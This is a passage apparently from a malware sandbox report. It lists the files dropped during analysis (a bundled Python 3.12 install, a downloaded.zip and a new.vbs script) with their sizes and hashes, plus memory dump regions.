c73fc0baebc8974e4ad152c81a784aa8ac434d387040c19d75d1cb9e8417e89b6af07b01b88004f9ced6c1feaf8994a04ee926769ee01757932f25b0a834ac30

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.ppm

Filesize
781B

MD5
a2b32811bb48fbf84e6a4ffa90b6a81c

SHA1
df8515c83469e5f728331f20eb6264953fbc40c7

SHA256
a7f21a2c5226b7d35ccac23780ae535921353b54bf7d7e61f1ad9b021167ba6c

SHA512
a49d7738997b62be088a09cdcf86d9e1fa12dd531c1a880eb519664daf87be581777843a02f15b35d731d1e0f58077ee5630235c71e2a11cebeb337b6528e0a9

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.ras

Filesize
1KB

MD5
8c0f739219341ffae245b5ae0a63710f

SHA1
ee63733bbfac51ed6c2ed2dab2a250faf25f36af

SHA256
10e37c432b4b93a7d257fbb890636fa7f6f376321cca47d5919ea5b6adc75d38

SHA512
5c4db61b091375d87001a600c282285f0e66fcdd4e99c5bbe03a8e7ec0b898abae777454491e7d9f9da5fe9bd56b6e5d5d5e0c8e142f629780fb3a399b3f4add

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.sgi

Filesize
1KB

MD5
11e019f5073be9f31a95f34929fec4e2

SHA1
baa350987e3f3b936db33abc6ddfae0762d4c449

SHA256
58ba5f2c20d320c3f5390ff9778e03d341957bd37c5d3cf0c3327976979f2e01

SHA512
c9b006d3c76358aabf2636f73cdb1d6d56e8f09d4a9817fb80386cd71228e8c93f570f00798870a9ebcc15aae625923c7405fc6827928579f4f44a661e9ef6b7

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.tiff

Filesize
1KB

MD5
d8580e24bfb05ec687436beb33838368

SHA1
99eefffec67780cc34ce21ea7c5b5b3073719011

SHA256
f19a80d1c7d5d758dcea82276e73150454212a5136b19c5fc2727786132ddafd

SHA512
de4c92d0a4f9747b13e9f0c2c1d88e8d8d2151cbe693651e248b72cee43bacf13f0968db9a6d8f2abb2a1c74b4fb5ebc0358651586d4e66da3dc02e63e5afc7c

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.webp

Filesize
432B

MD5
d4d9cee903091f613295efe4b5935689

SHA1
152fb2d413cee0e7c560351c904c2b1a1bb2380a

SHA256
d87f8d1367c93897805ee274c0e53ddbb0a46525aadb7dd32756fb85ad74e8b0

SHA512
67032fb0cce8001db79462bbe9653db4a80605b72077aaee9a2db85c0af6a223d2f452185112420afdf5922358aa07eda410c791efcf247201354816fb014011

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\imghdrdata\python.xbm

Filesize
288B

MD5
e6d79a573ec495b479a2c6e4f77f134b

SHA1
06f1b0de642132260c8067744cd6dd119c1a5ed2

SHA256
e7ff41947d7400cbe040e622d9ba92c40127355ffd96f182a54b8a80118e7c0b

SHA512
604179f7be08029ade027b2883983d8b524c0db9713a0646e007f608765db3d58c14e9be74c43e494b5462cca5c47494c06943ef04e82c129d1acad293c66e6b

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\sndhdrdata\sndhdr.aifc

Filesize
106B

MD5
a8a96fc714afadc15f870716186876f4

SHA1
21586b8440f26424f1b8ab66c338664f010c3cb7

SHA256
884528c663a2c5bc5977c54655699389e6d31420d0e79ac6fccac835ee0b167e

SHA512
ec64e6cca3f45438087c6e4c02a16218b17bd5c38e48c68d30c42d334607c8eaa188263eae56bb452244673d3bac75632f625b22f1862bf7e2b0a2585b17dc2a

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\sndhdrdata\sndhdr.aiff

Filesize
108B

MD5
3d4d023133dc4e66488dd5fd8d972124

SHA1
f93f56d42e08ad7e80b6fbe7aa1c76b8b994de3f

SHA256
3636198f2e61362121c9f7adfbde802883c99e6b23977e4e0bbbbd042b307421

SHA512
9e1dd8887ac56417cc516d0ba680749b351ae7b12770e188b56deedf4971586df81d7825a48afaa47554b4bd8edf427beacdf81336959c58ad6f13d4ea5b37a1

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\sndhdrdata\sndhdr.wav

Filesize
64B

MD5
eb0b6503152295540c09094b1d64a6a3

SHA1
d82d8deb9f0c69515fdaec06bcb9345472bbd94c

SHA256
54e018785efc750bbbafe910f4b4e4240995b5a2143a4341dc5c1bb73151c1d8

SHA512
1b3edf97c8f6cc247c532ff7640c660c73bbcd4ff769c21fa7dd550fcb799a304b5aabe6a6b73ac878f7e11570651a264c3c31ca3a3f81cbe19fcef5c4f61140

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\test_import\data\circular_imports\subpkg\util.py

Filesize
23B

MD5
26de9aa26f4f0b109363b91eb9f8bb97

SHA1
f86b316ac1901528bb35fe725cf08b8017a93cdc

SHA256
0a00579f58936a271c5a5e903d2d4f26bfa11347f83222f217263bf2ecfd546c

SHA512
c6d1cccec9cc49cad8f16fe1795adba660beacdff157daa175bcc96da4eb92afba294ffc32fe3dae87ff6399c0a98a3475040f5aa92db8129b94d0d05d516e5e

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\test_importlib\namespace_pkgs\not_a_namespace_pkg\foo\one.py

Filesize
27B

MD5
002c0c3dd72075ea93c1f9f17bc55009

SHA1
c8b6fb242803e9b5cdb675455f6bc8d585d04d0e

SHA256
8f083d9f27afa6518d7b058bb322d3e79c0becf9f38a96334ad7a3cc4b3483fa

SHA512
1598b79a6357932b08b3ab8d6b6af424a697d7770b71984808f9d2375bb64ef68e31f23106d8b4dcb4d70cbb814497298cb6133c67eae83035b561848110c20d

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\test_importlib\resources\data01\utf-16.file

Filesize
44B

MD5
ff6357f0940465f479305cbe0ba8f78f

SHA1
3bf88b182117dce769d0cb03fb14ab771f827649

SHA256
b79abdaa1c57d2b62a22d04e33c0f7ca5c06f911eb9ce62d7932ed42beac17b8

SHA512
11989f26c71c2879e0083fb436286238f50069ea3c7771c5b25b278e589ad4262a12f580a8c082fea291f0264f1ac212a169ea4ec5b44b1232070cc9797a0307

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\test_importlib\resources\data01\utf-8.file

Filesize
20B

MD5
58da4ec0dd953291e42b4a78598913da

SHA1
7e13931923104bda5ae0fe40db20d0aaf51610f9

SHA256
9305a0606e3243e645d97fd603ae848d83e6c49467fb0f1a48e892f5ef2d2986

SHA512
039c0ad2c558a7d3a5d26e5e2872833c84d837947851085989c44ef5c5c17f4381197284e19b2c96767a2646ed23ab360c6a2ad533b79f078e744655ce4c5ccd

Download Submit
C:\Users\Admin\Downloads\Print\Python312\Lib\test\test_unittest\__init__.py

Filesize
154B

MD5
e1b27d214a1714271983ee7f7f5c9f37

SHA1
c62c91feeb1f5ae570b5c9c03ae29ee445639429

SHA256
329743706d4d31db91597c27c0e61f754473b15fb89c52b67ffbd5d6b9d6041a

SHA512
a0a7604f0c7abcbb677fd182345f04be971b40a784bcf28efe62eee18090672222468791e981754b1900b9f0830139ea9bf09e2103e3b0e9a1a5adca26cdba09

Download Submit
C:\Users\Admin\Downloads\Print\Python312\pythonw.exe

Filesize
99KB

MD5
9495073209d324b0da226eaf8e5ed8de

SHA1
9556dc9b2aecb25d2e963589f2906456470cbb49

SHA256
3373ac4a982e454a865fe13735bbc89a5c8279764051b6d4359211533b92bd2f

SHA512
0677f1a93b73d8dd8605a660e41b5f4d570aee8021ba1563a094aaf901ad3dd600f9dafa24f36103b46c80d22b27ab9f69c540b3d4c1025f4efea1687795c752

Download Submit
C:\Users\Admin\Downloads\Print\Python312\tcl\tcl8.6\encoding\euc-cn.enc

Filesize
84KB

MD5
c5aa0d11439e0f7682dae39445f5dab4

SHA1
73a6d55b894e89a7d4cb1cd3ccff82665c303d5c

SHA256
1700af47dc012a48cec89cf1dfae6d1d0d2f40ed731eff6ca55296a055a11c00

SHA512
eee6058bd214c59bcc11e6de7265da2721c119cc9261cfd755a98e270ff74d2d73e3e711aa01a0e3414c46d82e291ef0df2ad6c65ca477c888426d5a1d2a3bc5

Download Submit
C:\Users\Admin\Downloads\Print\Python312\tcl\tix8.4.3\demos\bitmaps\drivea.xbm

Filesize
904B

MD5
a4ec724dc948f7094dc0eacb5a960f40

SHA1
0fcfe0dd79a951a593256a7257a7410a0294f546

SHA256
459e941ecd87984672bf1255da19a8de74f114e173e838f6b85ac734e7ef5fd1

SHA512
2c6ccda98d2c665dffb7e7340ad44822780e20e3ebb0493b58a313c0c46a62bb21be94ca0e3226aa52f410cf6ce3f0c2b2c95a0434c6e0678e77ec4ca55eec32

Download Submit
C:\Users\Admin\Downloads\Print\Python312\tcl\tix8.4.3\demos\bitmaps\drivea.xpm

Filesize
1KB

MD5
93d39c85d0d9052a1eb932904e93da24

SHA1
6fd812fca35b166ba57c7a4e4a21c3d1a371959d

SHA256
05164d5becdda54104b20bc8f7358f627be9f2602d6b3e344a3033d92e73d148

SHA512
7032169b5952043fefb0856c01acf7cfa1632a4ecab4f460b0634cd8d5bc0de270f32586246b44eca13ce555bc893d44b1f659e125fef1fb1854dfb4ed89be55

Download Submit
C:\Users\Admin\Downloads\Print\Python312\tcl\tix8.4.3\demos\bitmaps\netw.xbm

Filesize
898B

MD5
23f6b504a1004a9a2c91d0fcf5bce9b2

SHA1
4ea189c3af76a7df714c397bea1e32c1625d115c

SHA256
9efee21d14731a4d7b3bd7d9e3c02198bca7195173e009c25ef54a7538c93780

SHA512
0b82bdfebb4fad94b74207d23616633eee955f8203a020f4f4b957e61efece1609440741a60822e4884fadf4dddf43cae34b519b64a5e018e7a8031e8cd561b4

Download Submit
C:\Users\Admin\Downloads\Print\Python312\tcl\tix8.4.3\demos\bitmaps\netw.xpm

Filesize
1KB

MD5
5165aae8ed4c6ee20b9aa6c3304e8042

SHA1
2404f7443e8797e335dd6bd93d8cf67dec291482

SHA256
068e6f025c1e4bb5b019ff51416fcedd4e5d211d5fca99412b19ded1295b2556

SHA512
ba573c5eb9f92f5c31236a35b021b366e4450b26f077f4c0f18ffd7f83a590e8e8415f7ecf057186ae0b0178ba04b13f5060c705c4a05fdd1a1ed4ffb911d0a9

Download Submit
C:\Users\Admin\Downloads\Print\Python312\tcl\tk8.6\demos\images\tcllogo.gif

Filesize
2KB

MD5
ff04b357b7ab0a8b573c10c6da945d6a

SHA1
bcb73d8af2628463a1b955581999c77f09f805b8

SHA256
72f6b34d3c8f424ff0a290a793fcfbf34fd5630a916cd02e0a5dda0144b5957f

SHA512
10dfe631c5fc24cf239d817eefa14329946e26ed6bcfc1b517e2f9af81807977428ba2539aaa653a89a372257d494e8136fd6abbc4f727e6b199400de05accd5

Download Submit
C:\Users\Admin\Downloads\Print\Python312\tcl\tk8.6\demos\license.terms

Filesize
2KB

MD5
f090d9b312c16489289fd39813412164

SHA1
1bec6668f6549771dadc67d153b89b8f77dcd4b9

SHA256
0d1e4405f6273f091732764ed89b57066be63ce64869be6c71ea337dc4f2f9b5

SHA512
57b323589c5a8d9cbb224416731d8ce65c4b94146df15ce30885df63b1d0b3f709093b65390a911f84f20b7c5de3c0af9b4d7d531742be046eda6e8c3432ef6e

Download Submit
C:\Users\Admin\Downloads\downloaded.zip

Filesize
46.4MB

MD5
df131b6ab02712974af62312230468de

SHA1
78da9960fe2c424721ee4e90d8103075ce8e93fc

SHA256
7a56f6d3b17e90381ed482035ae25d87866a18997487e96130e056bdc87fbb7a

SHA512
3a9f829f3bf4a56a5b76c83b45cc051c6482812528ff728d50c83e13e39ac5ddec61309617796e522e63bf6f9feeb8f46f29ec0f357bcdfe4dd993dd4e64aee0

Download Submit
C:\Users\Admin\Downloads\new.vbs

Filesize
155B

MD5
efc6ee3ed210d0119cc85b0896819b0b

SHA1
4dff934da8672ff504451d62bf3f79970a1724fc

SHA256
7e9b789274b60ec1ebcc94608f7ef8a246adc275d9ece3edea3ce96c64eae69b

SHA512
6b0bd6be5dcf4100ec7a7294e7ed769cdcbaab1826bf0b912e3b48dc63f74862b31b40d70982f43971d3991a4ed44f5b1061197a0332d01407429ee09721578e

Download Submit
memory/532-11875-0x0000018AACE70000-0x0000018AACF2C000-memory.dmp

Filesize
752KB

Download
memory/532-11872-0x0000018A928A0000-0x0000018A92901000-memory.dmp

Filesize
388KB

Download
memory/532-11874-0x0000018A944C0000-0x0000018A9451C000-memory.dmp

Filesize
368KB

Download
memory/1224-23330-0x0000022EE6F50000-0x0000022EE7478000-memory.dmp

Filesize
5.2MB

Download
memory/1224-23329-0x0000022ECCD80000-0x0000022ECCE30000-memory.dmp

Filesize
704KB

Download
memory/1224-11898-0x0000022ECAFC0000-0x0000022ECAFD3000-memory.dmp

Filesize
76KB

Download
memory/1224-11899-0x0000022ECCAF0000-0x0000022ECCB00000-memory.dmp

Filesize
64KB

Download
memory/1224-21443-0x0000022ECCC70000-0x0000022ECCC7C000-memory.dmp

Filesize
48KB

Download
memory/2336-11855-0x00000215940E0000-0x00000215940FA000-memory.dmp

Filesize
104KB

Download
memory/2336-11857-0x0000021595C10000-0x0000021595C26000-memory.dmp

Filesize
88KB

Download
memory/2560-328-0x0000010CF3900000-0x0000010CF3912000-memory.dmp

Filesize
72KB

Download
memory/2560-329-0x0000010CF3760000-0x0000010CF376A000-memory.dmp

Filesize
40KB

Download
memory/2972-11879-0x0000018CCFF30000-0x0000018CCFF46000-memory.dmp

Filesize
88KB

Download
memory/2972-11877-0x0000018CCE3F0000-0x0000018CCE40A000-memory.dmp

Filesize
104KB

Download
memory/3612-192-0x000001697B8C0000-0x000001697B8E2000-memory.dmp

Filesize
136KB

Download
memory/4072-11881-0x00000214D0060000-0x00000214D0072000-memory.dmp

Filesize
72KB

Download
memory/4072-11883-0x00000214D1BA0000-0x00000214D1BAE000-memory.dmp

Filesize
56KB

Download
memory/4664-11861-0x000001C9B4A10000-0x000001C9B4A22000-memory.dmp

Filesize
72KB

Download
memory/4664-11859-0x000001C9B2ED0000-0x000001C9B2EE5000-memory.dmp

Filesize
84KB

Download
memory/5092-11887-0x00000127C2070000-0x00000127C2080000-memory.dmp

Filesize
64KB

Download
memory/5092-11885-0x00000127C0550000-0x00000127C0563000-memory.dmp

Filesize
76KB

Download